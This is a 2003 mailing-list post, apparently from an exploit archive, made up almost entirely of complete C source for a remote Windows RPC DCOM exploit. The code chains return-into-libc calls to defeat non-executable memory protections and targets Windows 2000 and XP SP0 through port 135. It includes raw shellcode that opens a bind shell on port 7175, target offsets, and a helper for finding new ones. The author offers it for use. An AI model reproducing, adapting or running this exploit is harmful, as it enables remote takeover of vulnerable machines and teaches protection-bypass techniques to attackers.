OSEC

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rpc remote return-into-libc exploit

From: Jack Trixter (trixterjackyahoo.com)
Date: Fri Nov 07 2003 - 16:37:55 CST


/*
 * have you recently bought one of those expensive new windows security products
 * on the market? do you think you now have strong protection?
 * Look again:
 *
 * *rpc!exec*
 * by ins1der (trixterjackyahoo.com)
 *
 * windows remote return into libc exploit!
 *
 * remote rpc exploit breaking non exec memory protection schemes
 * tested against :
 * OverflowGuard
 * StackDefender (kernel32 imagebase randomization:O nice try guys.)
 *
 *
 * currently breaking:
 * Windows 2000 SP0 (english)
 * Windows XP SP0 (english)
 *
 * to get new offsets use this:
 * ------------------------------
 * #include <windows.h>
 * #include <stdio.h>
 *
 * int main()
 * {
 * HANDLE h1,h2;
 * unsigned long addr1,addr2,addr3,addr4;
 * h1=LoadLibrary("ntdll.dll");
 * h2=LoadLibrary("MSVCRT.dll");
 * addr1=(unsigned long)GetProcAddress(h1,"NtAllocateVirtualMemory");
 * addr2=(unsigned long)GetProcAddress(h2,"memcpy");
 * addr3=(unsigned long)GetProcAddress(h1,"NtProtectVirtualMemory");
 * for (addr4=addr1;addr4<addr1+0xffff;addr4++)
 * {
 * if (!memcmp((void*)addr4,"\xc9\xc3",2)) break;
 * }
 * printf("0x%x 0x%x 0x%x 0x%x\n",addr1,addr2,addr3,addr4);
 * return 0;
 * }
 * -----------------------------
 * to get the last offset use a standard rpc dcom exploit with the last
 * \x90\x90 before the shellcode replaced with \xcd\x21. run the exploit
 * and read the drwatson logs. substract 0xA5 from the fault address.
 *
 *
 * Shouts go to:
 * w00pz, SpaceCow, Int3, lacroix, misu200, j00(xor),
 * s0ny, crisis, and to all my true friends.
 *
 *
 * Enjoy!
 *
 */

#include <sys/socket.h>
#include <netinet/in.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03,0x00,0x00,0xE5,0x00,0x00,0x00,
0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45,0x64,0x49,0xB0,0x70,0xDD,0xAE,
0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E,0x0D,0x00,0x00,0x00,0x00,0x00,
0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D,0xCE,0x11,0xA6,0x6A,0x00,0x20,
0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41,0x52,0x42,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0xA8,0xF4,0x0B,0x00,
0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,
0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,
0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29,0xCD,0x00,0x00,0x00,0x00,0x00,
0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x58,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x78,0x00,0x00,0x00,
0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09,0x02,0x00,0x00,0x00,0x00,0x00,
0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x19,0x0C,0x00,
0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,0x70,0xD8,0x98,0x93,
0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00,0x00,0x00,0x32,0x00,0x31,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,
0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03,0x00,0x00,0x00,0x00,0x00,0x00,
0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,
0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E,0xE9,0x4A,0x99,0x99,0xF1,0x8A,
0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00,0x00,0x00,0x78,0x00,0x6E,0x00,
0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00,0x58,0x00,0x00,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00,0x00,0x00,0x30,0x00,0x2E,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00,0x00,0x00,0x0E,0x00,0xFF,0xFF,
0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x5C,0x00,0x5C,0x00
};

unsigned char request3[]={
0x5C,0x00,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,
0x35,0x00,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,
0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,
0x31,0x00,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

unsigned char request4[]={
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,
0x00,0x00,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x28,0x8C,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

struct offset
{
char *description;
unsigned long valloc;
unsigned long amemcpy;
unsigned long vprot;
unsigned long ret;
unsigned long frame;
};
struct offset targets[]=
{
        {"Windows 2000 SP0 (english)",
                0x77f95da9,
                    0x78001194,
                0x77f82ffb,
                0x77f96800,
                0x52f770
        }
        ,
        {"Windows XP SP0 (english)",
                0x77f7e4c3,
                0x77c42e10,
                0x77f7ec43,
                0x77f80a07,
                0x5bf79c
        }
        ,
        {NULL,0,0,0,0,0}
};

unsigned char shell[]=
             
        "\x46\x00\x58\x00"
        "\x4E\x00\x42\x00"
        "\x46\x00\x58\x00"
        "\x46\x00\x58\x00"
        
        "\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00"

        "\xff\xff\xff\xff"
          "\xff\xff\xff\xff"

            "\xcc\xe0\xfd\x7f"
            "\xcc\xe0\xfd\x7f"

            "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
            "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"

        "\x90\x90\x90\x90"
            "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
            "\x90\x90\x90\x90"
        
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
            "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
    
        
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    
    "\x83\xec\x34\x8b\xf4\xe8\x47\x01\x00\x00\x89\x06\xff\x36\x68\x8e"
    "\x4e\x0e\xec\xe8\x61\x01\x00\x00\x89\x46\x08\xff\x36\x68\xad\xd9"
    "\x05\xce\xe8\x52\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00\x00\x68"
    "\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89\x46\x04"
    "\xff\x36\x68\x72\xfe\xb3\x16\xe8\x2d\x01\x00\x00\x89\x46\x10\xff"
    "\x36\x68\xef\xce\xe0\x60\xe8\x1e\x01\x00\x00\x89\x46\x14\xff\x76"
    "\x04\x68\xcb\xed\xfc\x3b\xe8\x0e\x01\x00\x00\x89\x46\x18\xff\x76"
    "\x04\x68\xd9\x09\xf5\xad\xe8\xfe\x00\x00\x00\x89\x46\x1c\xff\x76"
    "\x04\x68\xa4\x1a\x70\xc7\xe8\xee\x00\x00\x00\x89\x46\x20\xff\x76"
    "\x04\x68\xa4\xad\x2e\xe9\xe8\xde\x00\x00\x00\x89\x46\x24\xff\x76"
    "\x04\x68\xe5\x49\x86\x49\xe8\xce\x00\x00\x00\x89\x46\x28\xff\x76"
    "\x04\x68\xe7\x79\xc6\x79\xe8\xbe\x00\x00\x00\x89\x46\x2c\x33\xff"
    "\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x18\x50"
    "\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x8b\xd8\x57\x57\x68\x02"
    "\x00\x1c\x07\x8b\xcc\x6a\x16\x51\x53\xff\x56\x20\x57\x53\xff\x56"
    "\x24\x57\x51\x53\xff\x56\x28\x8b\xd0\x68\x65\x78\x65\x00\x68\x63"
    "\x6d\x64\x2e\x89\x66\x30\x83\xec\x54\x8d\x3c\x24\x33\xc0\x33\xc9"
    "\x83\xc1\x15\xab\xe2\xfd\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d\x89"
    "\x54\x24\x48\x89\x54\x24\x4c\x89\x54\x24\x50\x8d\x44\x24\x10\x54"
    "\x50\x51\x51\x51\x6a\x01\x51\x51\xff\x76\x30\x51\xff\x56\x10\x8b"
    "\xcc\x6a\xff\xff\x31\xff\x56\x0c\x8b\xc8\x57\xff\x56\x2c\xff\x56"
    "\x14\x55\x56\x64\xa1\x30\x00\x00\x00\x85\xc0\x78\x0c\x8b\x40\x0c"
    "\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09\x8b\x40\x34\x8b\xa8\xb8\x00"
    "\x00\x00\x8b\xc5\x5e\x5d\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24"
    "\x18\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5\x8b\x4a\x18\x8b\x5a\x20"
    "\x03\xdd\xe3\x32\x49\x8b\x34\x8b\x03\xf5\x33\xff\xfc\x33\xc0\xac"
    "\x3a\xc4\x74\x07\xc1\xcf\x0d\x03\xf8\xeb\xf2\x3b\x7c\x24\x14\x75"
    "\xe1\x8b\x5a\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b"
    "\x04\x8b\x03\xc5\xeb\x02\x33\xc0\x8b\xd5\x5f\x5e\x5d\x5b\xc2\x04"
    "\x00\x90\x90\x90\x80\xbf\x32\x94\x80\xbf\x32\x94";
 

struct frame1
{
unsigned long frame0;
unsigned long ret;
}fr1;

struct retstruct
{
unsigned long frame1;
unsigned long valloc;
unsigned long ret1;
unsigned long dummy1;
unsigned long pointer11;
unsigned long zero;
unsigned long pointer12;
unsigned long type;
unsigned long prot;

unsigned long frame2;
unsigned long amemcpy;
unsigned long ret2;
unsigned long dest;
unsigned long src;
unsigned long size2;

unsigned long frame3;
unsigned long vprot;
unsigned long ret3;
unsigned long dummy2;
unsigned long pointer21;
unsigned long pointer22;
unsigned long newprot;
unsigned long oldprot;
}rets;

void prepare_ret(int id)
{
  rets.type=0x3000;
  rets.prot=0x4;
  rets.newprot=0x20;

  rets.valloc=targets[id].valloc;
  rets.amemcpy=targets[id].amemcpy;
  rets.vprot=targets[id].vprot;
  fr1.ret=rets.ret1=rets.ret2=targets[id].ret;
  fr1.frame0=targets[id].frame;

  rets.frame1=fr1.frame0+9*4;
  rets.frame2=rets.frame1+6*4;
  rets.oldprot=fr1.frame0;
  rets.frame3=rets.frame1;
  rets.size2=sizeof(shell);

  rets.src=fr1.frame0;
  rets.dest=0x55555000;
  rets.ret3=0x5555506c;

  rets.dummy1=rets.dummy2=0xffffffff;
  rets.zero=0;

  *(int*)(shell+148)=0x55555000;
  *(int*)(shell+152)=sizeof(shell);

  *(int*)(shell+140)=0x55555000;
  *(int*)(shell+144)=sizeof(shell);

  rets.pointer11=fr1.frame0+92;
  rets.pointer12=fr1.frame0+96;
  rets.pointer21=fr1.frame0+100;
  rets.pointer22=fr1.frame0+104;

  memcpy(shell+32,&fr1,sizeof(fr1));
  memcpy(shell+48,&rets,sizeof(rets));
}

void entershell(int sock)
{
  char buf[3000];
  fd_set fdr;
  int rs;

  FD_ZERO(&fdr);
  FD_SET(sock,&fdr);
  FD_SET(0,&fdr);

  for(;;)
  {
    FD_SET(sock, &fdr);
    FD_SET(0, &fdr);
    if(select(FD_SETSIZE,&fdr,NULL,NULL,NULL)<0) break;
    if(FD_ISSET(sock, &fdr))
      {
        if((rs=read(sock,buf,sizeof(buf)))<0)
        {
           printf("connection lost\n");
           return;
        }
        if(write(1,buf,rs)<0) break;
      }

    if(FD_ISSET(0,&fdr))
      {
        if((rs=read(0,buf,sizeof(buf)))<0)
        {
           printf("[-] Connection lost..\n");
           exit(1);
        }
        if (write(sock,buf,rs) < 0) break;
      }
        usleep(100);
   }
        
   printf("connection closed\n");
 
   return;
}

int main(int argc, char **argv)
{
    
    int sock,i,len1;
    struct sockaddr_in sin;
    unsigned char buf1[0x1000],buf2[0x1000];

    if(argc<3)
    {
        printf("###############################\n");
        printf("return into libc rpc exploit\n");
        printf("ins1der 2003\n");
        printf("*****************************************\n");
        printf("usage: %s <ip> <id>\n", argv[0]);
        printf("*****************************************\n");
        printf("targets:\n");
        printf("-----------------------------------------\n");
        for (i=0;targets[i].description!= NULL;i++)
            {
            printf("%d\t%s\n",i,targets[i].description);
            }
        printf("-----------------------------------------\n");
        
        return 0;
    }
        
                
         

    printf("Exploiting %s...\n",argv[1]);
          
    prepare_ret(atoi(argv[2]));
    
    sin.sin_family=AF_INET;
    sin.sin_addr.s_addr=inet_addr(argv[1]);
    sin.sin_port=htons(135);

    if ((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
    {
        perror("socket ");
        return 0;
    }
    
    if(connect(sock,(struct sockaddr*)&sin, sizeof(sin)))
    {
        perror("connect ");
        return 0;
    }
    
    memcpy(buf2,request1,sizeof(request1));
    len1=sizeof(request1);
    
    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(shell)/2;
    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(shell)/2;
    
    memcpy(buf2+len1,request2,sizeof(request2));
    len1=len1+sizeof(request2);
    memcpy(buf2+len1,shell,sizeof(shell));
    len1=len1+sizeof(shell);
    memcpy(buf2+len1,request3,sizeof(request3));
    len1=len1+sizeof(request3);
    memcpy(buf2+len1,request4,sizeof(request4));
    len1=len1+sizeof(request4);
    
    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(shell)-0xc;
    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(shell)-0xc;
    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(shell)-0xc;
    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(shell)-0xc;
    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(shell)-0xc;
    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(shell)-0xc;
    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(shell)-0xc;
    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(shell)-0xc;
    
    if (send(sock,(char*)bindstr,sizeof(bindstr),0)==-1)
    {
            perror("send");
            return 0;
    }

    recv(sock,(char*)buf1,1000,0);
    
    if (send(sock,(char*)buf2,len1,0)== -1)
    {
            perror("send");
            return 0;
    }
    close(sock);

    sleep(1);
    
    sin.sin_port = htons(7175);

    if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
        perror("socket");
        return(0);
    }
    
    if(connect(sock,(struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
        printf("Exploit failed\n");
        return(0);
    }
    
    printf("Entering shell\n");
    entershell(sock);
    return 1;

}